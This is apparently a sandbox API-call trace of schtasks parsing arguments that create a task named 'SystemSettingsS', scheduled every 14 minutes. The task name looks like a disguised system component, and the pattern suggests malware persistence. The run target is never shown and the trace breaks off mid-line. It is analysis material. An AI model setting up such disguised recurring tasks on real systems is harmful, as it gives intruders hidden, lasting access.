[0133.060] lstrlenW (lpString="i") returned 1 [0133.060] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.060] lstrlenW (lpString="tn") returned 2 [0133.060] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|i|") returned 3 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.060] lstrlenW (lpString="|i|") returned 3 [0133.060] lstrlenW (lpString="|tn|") returned 4 [0133.060] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.060] lstrlenW (lpString="tn") returned 2 [0133.060] lstrlenW (lpString="tn") returned 2 [0133.060] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.060] lstrlenW (lpString="tn") returned 2 [0133.060] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.060] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tn|") returned 4 [0133.061] lstrlenW (lpString="|tn|") returned 4 [0133.061] lstrlenW (lpString="|tn|") returned 4 [0133.061] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] lstrlenW (lpString="SystemSettingsS") returned 15 [0133.061] lstrlenW (lpString="-/") returned 2 [0133.061] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] lstrlenW (lpString="SystemSettingsS") returned 15 [0133.061] StrChrIW (lpStart="SystemSettingsS", wMatch=0x3a) returned 0x0 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] lstrlenW (lpString="SystemSettingsS") returned 15 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.061] lstrlenW (lpString="/sc") returned 3 [0133.061] lstrlenW (lpString="-/") returned 2 [0133.061] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.061] lstrlenW (lpString="create") returned 6 [0133.061] lstrlenW (lpString="create") returned 6 [0133.061] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.061] lstrlenW (lpString="sc") returned 2 [0133.061] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.062] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.062] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.062] lstrlenW (lpString="|create|") returned 8 [0133.062] lstrlenW (lpString="|sc|") returned 4 [0133.062] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0133.062] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.062] lstrlenW (lpString="?") returned 1 [0133.062] lstrlenW (lpString="?") returned 1 [0133.062] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.062] lstrlenW (lpString="sc") returned 2 [0133.062] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.062] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|?|") returned 3 [0133.062] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.062] lstrlenW (lpString="|?|") returned 3 [0133.062] lstrlenW (lpString="|sc|") returned 4 [0133.062] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.062] lstrlenW (lpString="s") returned 1 [0133.062] lstrlenW (lpString="s") returned 1 [0133.062] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.062] lstrlenW (lpString="sc") returned 2 [0133.062] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.062] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|s|") returned 3 [0133.063] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.063] lstrlenW (lpString="|s|") returned 3 [0133.063] lstrlenW (lpString="|sc|") returned 4 [0133.063] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.063] lstrlenW (lpString="u") returned 1 [0133.063] lstrlenW (lpString="u") returned 1 [0133.063] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.063] lstrlenW (lpString="sc") returned 2 [0133.063] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.063] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|u|") returned 3 [0133.063] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.063] lstrlenW (lpString="|u|") returned 3 [0133.063] lstrlenW (lpString="|sc|") returned 4 [0133.063] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.063] lstrlenW (lpString="p") returned 1 [0133.063] lstrlenW (lpString="p") returned 1 [0133.063] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.063] lstrlenW (lpString="sc") returned 2 [0133.063] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.063] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|p|") returned 3 [0133.063] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.063] lstrlenW (lpString="|p|") returned 3 [0133.064] lstrlenW (lpString="|sc|") returned 4 [0133.064] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.064] lstrlenW (lpString="ru") returned 2 [0133.064] lstrlenW (lpString="ru") returned 2 [0133.064] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.064] lstrlenW (lpString="sc") returned 2 [0133.064] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.064] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ru|") returned 4 [0133.064] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.064] lstrlenW (lpString="|ru|") returned 4 [0133.064] lstrlenW (lpString="|sc|") returned 4 [0133.064] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0133.064] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.064] lstrlenW (lpString="rp") returned 2 [0133.064] lstrlenW (lpString="rp") returned 2 [0133.064] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.064] lstrlenW (lpString="sc") returned 2 [0133.064] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.064] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|rp|") returned 4 [0133.064] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.064] lstrlenW (lpString="|rp|") returned 4 [0133.064] lstrlenW (lpString="|sc|") returned 4 [0133.064] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] lstrlenW (lpString="sc") returned 2 [0133.065] lstrlenW (lpString="sc") returned 2 [0133.065] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.065] lstrlenW (lpString="sc") returned 2 [0133.065] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.065] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.065] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.065] lstrlenW (lpString="|sc|") returned 4 [0133.065] lstrlenW (lpString="|sc|") returned 4 [0133.065] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] lstrlenW (lpString="MINUTE") returned 6 [0133.065] lstrlenW (lpString="-/") returned 2 [0133.065] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] lstrlenW (lpString="MINUTE") returned 6 [0133.065] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.065] GetProcessHeap () returned 0x1685a9b0000 [0133.065] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9baa60 [0133.066] _memicmp (_Buf1=0x1685a9baa60, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.066] lstrlenW (lpString="MINUTE") returned 6 [0133.066] GetProcessHeap () returned 0x1685a9b0000 [0133.066] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9bac00 [0133.066] lstrlenW (lpString="MINUTE") returned 6 [0133.066] lstrlenW (lpString=" \x09") returned 2 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0133.066] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0133.066] GetLastError () returned 0x0 [0133.066] lstrlenW (lpString="MINUTE") returned 6 [0133.066] lstrlenW (lpString="MINUTE") returned 6 [0133.066] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.066] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.066] lstrlenW (lpString="/mo") returned 3 [0133.066] lstrlenW (lpString="-/") returned 2 [0133.066] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.066] lstrlenW (lpString="create") returned 6 [0133.066] lstrlenW (lpString="create") returned 6 [0133.066] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.066] lstrlenW (lpString="mo") returned 2 [0133.066] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.067] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.067] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.067] lstrlenW (lpString="|create|") returned 8 [0133.067] lstrlenW (lpString="|mo|") returned 4 [0133.067] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0133.067] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.067] lstrlenW (lpString="?") returned 1 [0133.067] lstrlenW (lpString="?") returned 1 [0133.067] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.067] lstrlenW (lpString="mo") returned 2 [0133.067] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.067] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|?|") returned 3 [0133.067] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.067] lstrlenW (lpString="|?|") returned 3 [0133.067] lstrlenW (lpString="|mo|") returned 4 [0133.067] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.067] lstrlenW (lpString="s") returned 1 [0133.067] lstrlenW (lpString="s") returned 1 [0133.067] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.067] lstrlenW (lpString="mo") returned 2 [0133.067] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|s|") returned 3 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.068] lstrlenW (lpString="|s|") returned 3 [0133.068] lstrlenW (lpString="|mo|") returned 4 [0133.068] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.068] lstrlenW (lpString="u") returned 1 [0133.068] lstrlenW (lpString="u") returned 1 [0133.068] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.068] lstrlenW (lpString="mo") returned 2 [0133.068] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|u|") returned 3 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.068] lstrlenW (lpString="|u|") returned 3 [0133.068] lstrlenW (lpString="|mo|") returned 4 [0133.068] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.068] lstrlenW (lpString="p") returned 1 [0133.068] lstrlenW (lpString="p") returned 1 [0133.068] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.068] lstrlenW (lpString="mo") returned 2 [0133.068] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|p|") returned 3 [0133.068] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.069] lstrlenW (lpString="|p|") returned 3 [0133.069] lstrlenW (lpString="|mo|") returned 4 [0133.069] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.069] lstrlenW (lpString="ru") returned 2 [0133.069] lstrlenW (lpString="ru") returned 2 [0133.069] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.069] lstrlenW (lpString="mo") returned 2 [0133.069] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.069] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ru|") returned 4 [0133.069] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.069] lstrlenW (lpString="|ru|") returned 4 [0133.069] lstrlenW (lpString="|mo|") returned 4 [0133.069] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0133.069] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.069] lstrlenW (lpString="rp") returned 2 [0133.069] lstrlenW (lpString="rp") returned 2 [0133.069] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.069] lstrlenW (lpString="mo") returned 2 [0133.069] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.069] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|rp|") returned 4 [0133.069] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.069] lstrlenW (lpString="|rp|") returned 4 [0133.069] lstrlenW (lpString="|mo|") returned 4 [0133.069] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0133.070] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.070] lstrlenW (lpString="sc") returned 2 [0133.070] lstrlenW (lpString="sc") returned 2 [0133.070] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.070] lstrlenW (lpString="mo") returned 2 [0133.070] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.070] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|sc|") returned 4 [0133.070] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.070] lstrlenW (lpString="|sc|") returned 4 [0133.070] lstrlenW (lpString="|mo|") returned 4 [0133.070] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0133.070] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.070] lstrlenW (lpString="mo") returned 2 [0133.070] lstrlenW (lpString="mo") returned 2 [0133.070] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.070] lstrlenW (lpString="mo") returned 2 [0133.070] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.070] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.070] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|mo|") returned 4 [0133.070] lstrlenW (lpString="|mo|") returned 4 [0133.070] lstrlenW (lpString="|mo|") returned 4 [0133.070] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0133.070] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.070] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.070] lstrlenW (lpString="14") returned 2 [0133.070] lstrlenW (lpString="-/") returned 2 [0133.071] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] lstrlenW (lpString="14") returned 2 [0133.071] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] _memicmp (_Buf1=0x1685a9baa60, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.071] lstrlenW (lpString="14") returned 2 [0133.071] lstrlenW (lpString="14") returned 2 [0133.071] lstrlenW (lpString=" \x09") returned 2 [0133.071] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0133.071] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0133.071] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0133.071] GetLastError () returned 0x0 [0133.071] lstrlenW (lpString="14") returned 2 [0133.071] lstrlenW (lpString="14") returned 2 [0133.071] GetProcessHeap () returned 0x1685a9b0000 [0133.071] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x6) returned 0x1685a9b4e90 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.071] lstrlenW (lpString="/tr") returned 3 [0133.071] lstrlenW (lpString="-/") returned 2 [0133.071] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.071] lstrlenW (lpString="create") returned 6 [0133.071] lstrlenW (lpString="create") returned 6 [0133.071] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.072] lstrlenW (lpString="tr") returned 2 [0133.072] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.072] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|create|") returned 8 [0133.072] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.072] lstrlenW (lpString="|create|") returned 8 [0133.072] lstrlenW (lpString="|tr|") returned 4 [0133.072] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0133.072] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.072] lstrlenW (lpString="?") returned 1 [0133.072] lstrlenW (lpString="?") returned 1 [0133.072] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.072] lstrlenW (lpString="tr") returned 2 [0133.072] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.073] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|?|") returned 3 [0133.073] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.073] lstrlenW (lpString="|?|") returned 3 [0133.073] lstrlenW (lpString="|tr|") returned 4 [0133.073] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.073] lstrlenW (lpString="s") returned 1 [0133.073] lstrlenW (lpString="s") returned 1 [0133.073] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.073] lstrlenW (lpString="tr") returned 2 [0133.076] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.076] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|s|") returned 3 [0133.076] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.076] lstrlenW (lpString="|s|") returned 3 [0133.076] lstrlenW (lpString="|tr|") returned 4 [0133.076] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.076] lstrlenW (lpString="u") returned 1 [0133.076] lstrlenW (lpString="u") returned 1 [0133.076] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] lstrlenW (lpString="tr") returned 2 [0133.077] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|u|") returned 3 [0133.077] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.077] lstrlenW (lpString="|u|") returned 3 [0133.077] lstrlenW (lpString="|tr|") returned 4 [0133.077] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.077] lstrlenW (lpString="p") returned 1 [0133.077] lstrlenW (lpString="p") returned 1 [0133.077] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] lstrlenW (lpString="tr") returned 2 [0133.077] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|p|") returned 3 [0133.077] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.077] lstrlenW (lpString="|p|") returned 3 [0133.077] lstrlenW (lpString="|tr|") returned 4 [0133.077] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.077] lstrlenW (lpString="ru") returned 2 [0133.077] lstrlenW (lpString="ru") returned 2 [0133.077] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] lstrlenW (lpString="tr") returned 2 [0133.077] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.077] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|ru|") returned 4 [0133.078] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.078] lstrlenW (lpString="|ru|") returned 4 [0133.078] lstrlenW (lpString="|tr|") returned 4 [0133.078] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0133.078] RtlRestoreLastWin32Error () returned 0x2253351000 [0133.078] lstrlenW (lpString="rp") returned 2 [0133.078] lstrlenW (lpString="rp") returned 2 [0133.078] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.078] lstrlenW (lpString="tr") returned 2 [0133.078] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0133.078] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|rp|") returned 4 [0133.078] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531ac7c8 | out: _Buffer="|tr|") returned 4 [0133.078] lstrlenW (lpString="|rp|") returned 4 [0133.078] lstrlenW (lpString="|tr|") returned 4 [0133.078] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0133.078] RtlRestoreLastWin32Error () returned 